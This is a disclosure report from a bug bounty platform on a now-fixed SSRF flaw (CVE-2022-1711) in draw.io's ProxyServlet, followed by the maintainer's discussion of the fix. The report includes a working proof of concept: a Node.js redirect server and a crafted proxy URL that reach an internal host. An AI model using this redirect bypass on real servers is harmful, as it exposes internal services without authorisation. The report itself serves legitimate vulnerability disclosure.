SSRF via Unvalidated Redirects in ProxyServlet in jgraph/drawio

0

Valid Reported on May 12th 2022

Description

Through the ProxyServlet external content can be retrieved. This can be done by providing a URL in the `url` query parameter. There are a few restrictions in place, especially internal hosts are forbidden. The validation of the `url` parameter looks as follows: https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L233-L282

```
public boolean checkUrlParameter(String url)
{
    if (url != null)
    {
        try
        {
            URL parsedUrl = new URL(url);
            String protocol = parsedUrl.getProtocol();
            String host = parsedUrl.getHost().toLowerCase();

            return (protocol.equals("http") || protocol.equals("https")
                    && !host.endsWith(".internal")
                    && !host.endsWith(".local")
                    && !host.contains("localhost")
                    && !host.startsWith("0.") // 0.0.0.0/8
                    && !host.startsWith("10.") // 10.0.0.0/8
                    && !host.startsWith("127.") // 127.0.0.0/8
                    && !host.startsWith("169.254.") // 169.254.0.0/16
                    && !host.startsWith("172.16.") // 172.16.0.0/12
                    && !host.startsWith("172.17.") // 17
                    && !host.startsWith("172.18.") // 1
                    && !host.startsWith("172.19.") // 172.16.0.0/12
```

```
                    && !host.startsWith("172.20.") // 172.16.0.0/12
                    && !host.startsWith("172.21.") // 172.16.0.0/12
                    && !host.startsWith("172.22.") // 172.16.0.0/12

                    && !host.startsWith("172.23.") // 172.16.0.0/12
                    && !host.startsWith("172.24.") // 172.16.0.0/12
                    && !host.startsWith("172.25.") // 172.16.0.0/12
                    && !host.startsWith("172.26.") // 172.16.0.0/12
                    && !host.startsWith("172.27.") // 172.16.0.0/12
                    && !host.startsWith("172.28.") // 172.16.0.0/12
                    && !host.startsWith("172.29.") // 172.16.0.0/12
                    && !host.startsWith("172.30.") // 172.16.0.0/12
                    && !host.startsWith("172.31.") // 172.16.0.0/12
                    && !host.startsWith("192.0.0.") // 192.0.0.0/24
                    && !host.startsWith("192.168.") // 192.168.0.0/16
                    && !host.startsWith("198.18.") // 198.18.0.0/15
                    && !host.startsWith("198.19.") // 198.18.0.0/15
                    && !host.endsWith(".arpa"); // reverse domain (neec
            }
            catch (MalformedURLException e)
            {
                return false;
            }
        }
        else
        {
            return false;
        }
    }
```

All of the restrictions of the URL validation function can be bypassed. The cause for this can be found in the `doGet` method. The URL validation check is performed only on the initial `url` parameter in the GET request.
https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L65-L71

```
    protected void doGet(HttpServletRequest request,
            HttpServletResponse response) throws ServletExc
    {
```

```
String urlParam = request.getParameter("url");


if (checkUrlParameter(urlParam))
{
```

After the initial request, potential redirects are followed. However, there are no checks against the value of the `Location` header, which will be used for the URLConnection on subsequent requests.
https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L113-L143

```
// Follows a maximum of 6 redirects
while (counter++ <= 6
        && (status == HttpURLConnection.HTTP_MOVED_PERM
                || status == HttpURLConnection.HTTP_MOV
{
    url = new URL(connection.getHeaderField("Location")
    connection = url.openConnection();
    ((HttpURLConnection) connection)
            .setInstanceFollowRedirects(true);
    connection.setConnectTimeout(TIMEOUT);
    connection.setReadTimeout(TIMEOUT);

    // Workaround for 451 response from Iconfinder CDN
    connection.setRequestProperty("User-Agent", "draw.i
    status = ((HttpURLConnection) connection)
            .getResponseCode();
}

if (status >= 200 && status <= 299)
{
    response.setStatus(status);

    // Copies input stream to output stream
    InputStream is = connection.getInputStream();
    byte[] head = (contentAlwaysAllowed
            : Utils.checkStreamContent(is);
```

```
                response.setContentType("application/octet-stream");
                String base64 = request.getParameter("base64");
                copyResponse(is, out, head,

                        base64 != null && base64.equals("1"));
            }
```

This allows sending HTTP requests to arbitrary internal and external hosts/URLs and bypassing the restrictions of the validation function.

Proof of Concept

For the proof of concept we have three servers, one attacker controlled server, the server where the draw.io webapp is located, and an internal server that contains a secret.

Attacker server:

This server serves the purpose of redirecting to URLs of the attackers choice. For example the following script, saved as `server.js` can be run with Node.js (`node server.js`):

```
const http = require('http');

const requestListener = function (req, res) {
  res.writeHead(301, {
      "Location": "http://127.0.0.1:9001/"
  });
  res.end();
}

const server = http.createServer(requestListener);
server.listen(9000);
```

For this PoC this server runs under `hax.7085.at:9000` .

draw.io web app

The draw.io webapp is located under `draw.7085.at:8080/draw` .

Internal server

The internal server is located under `127.0.0.1:9001` .

```
const http = require('http');

const requestListener = function (req, res) {
```

```
    res.writeHead(200, {
      "Content-Type": "text/html"
    });
    res.end("<html>internal secret</html>");
  }

  const server = http.createServer(requestListener);
  server.listen(9001);
```

After everything is set up, then a request to the ProxyServlet of the draw.io web app can be sent by providing the URL to the attackers server in the `url` parameter in the following format: `<url-to-webapp-host>/proxy?url=http://hax.7085.at:9000/` . So the URL in this case would be `http://draw.7085.at:8080/draw/proxy?url=http://hax.7085.at:9000/` . Sending a request to this URL will bypass the restrictions and reveal the secret of the internal server.

Impact

It allows sending HTTP requests to arbitrary hosts, bypassing the URL restrictions and accessing otherwise forbidden internal hosts, reading the full response.

CVE
CVE-2022-1711
(Published)

Vulnerability Type
CWE-918: Server-Side Request Forgery (SSRF)

Severity
High (7.5)

Registry
Other

Affected Version
<= 18.0.3

Visibility
Public

Status
Fixed

Found by

Tobias S. Fink

@7085

legend

This report was seen 840 times.

We are processing your report and will contact the **jgraph/drawio** team within 24 hours.
6 months ago

David Benson validated this vulnerability 6 months ago

Hello again :). Interesting one, tricky to define exactly what damage can be done, since depends largely on the server setup.

Note for anyone reading wondering about app.diagrams.net, we don't actually use this code there in production there because of the lack of sandboxing in most/all java environments.

Tobias S. Fink has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

David Benson 6 months ago

https://github.com/jgraph/drawio/commit/0620baf5d062f9af7a15857a3772691b22dfcdd1 will be the fix.

Tobias S. Fink 6 months ago Researcher

Looks good.
I saw you added some further checks like `.isAnyLocalAddress()` and `.isLoopbackAddress()` to `checkUrlParameter()` which is good.
In the list of restricted/forbidden IPs, maybe also the IPv6 equivalent should be considered additionally.

David Benson 6 months ago

Thanks for the follow up, added as

https://github.com/jgraph/drawio/commit/cf5c78aa0f3127fb10053db55b39f3017a0654ae.

Jamie Slome 6 months ago Admin

@davidjgraph - are you able to try marking as fixed again?

Can you do this with just `cf5c78aa0f3127fb10053db55b39f3017a0654ae` as the input for the commit SHA? I can see that this failed for you when you tried the entire URL.

I'll get some improvement on our form validation to make it clearer when the commit SHA input is 👍 or 👎

David Benson 6 months ago

@jamieslome Actually, it was lucky it rejected, the commit isn't in a versioned release, so my marking it as v18.0.4 when it's after that tag is the part I would have liked to have seen it reject.

Maybe version should be optional, or a specific tag taken from Github?

Tobias S. Fink 6 months ago Researcher

May I ask why cad3902f-3afb-4ed2-abd0-9f96a248de11 is considered as critical?
The consequences of this report and the other one are exactly the same - standard SSRF.
The redirection bypass even allowed using hostnames thus having no limitations at all.

I never saw a CVE for standard SSRF (without further consequences) that was considered critical. What justifies this rating for cad3902f-3afb-4ed2-abd0-9f96a248de11?

David Benson 6 months ago

I made an error marking it valid thinking I was on a different issue. Yes, it shouldn't be critical, but there's no mechanism in the tool to correct that now.

Tobias S. Fink 6 months ago Researcher

Thanks for clarifying.

Jamie Slome 6 months ago Admin

@davidgraph - thanks for the update. I have shared your thoughts with the UI team and we are discussing ways to improve our front-end validations :)

We have sent a fix follow up to the **jgraph/drawio** team. We will try again in 7 days. 6 months ago

David Benson 6 months ago

cad3902f-3afb-4ed2-abd0-9f96a248de11 changed to high severity

David Benson marked this as fixed in **18.0.5** with commit **cf5c78** 6 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

Tobias S. Fink 6 months ago Researcher

👍

Sign in to join this conversation

FAQ

contact us

terms

privacy policy

Chat with us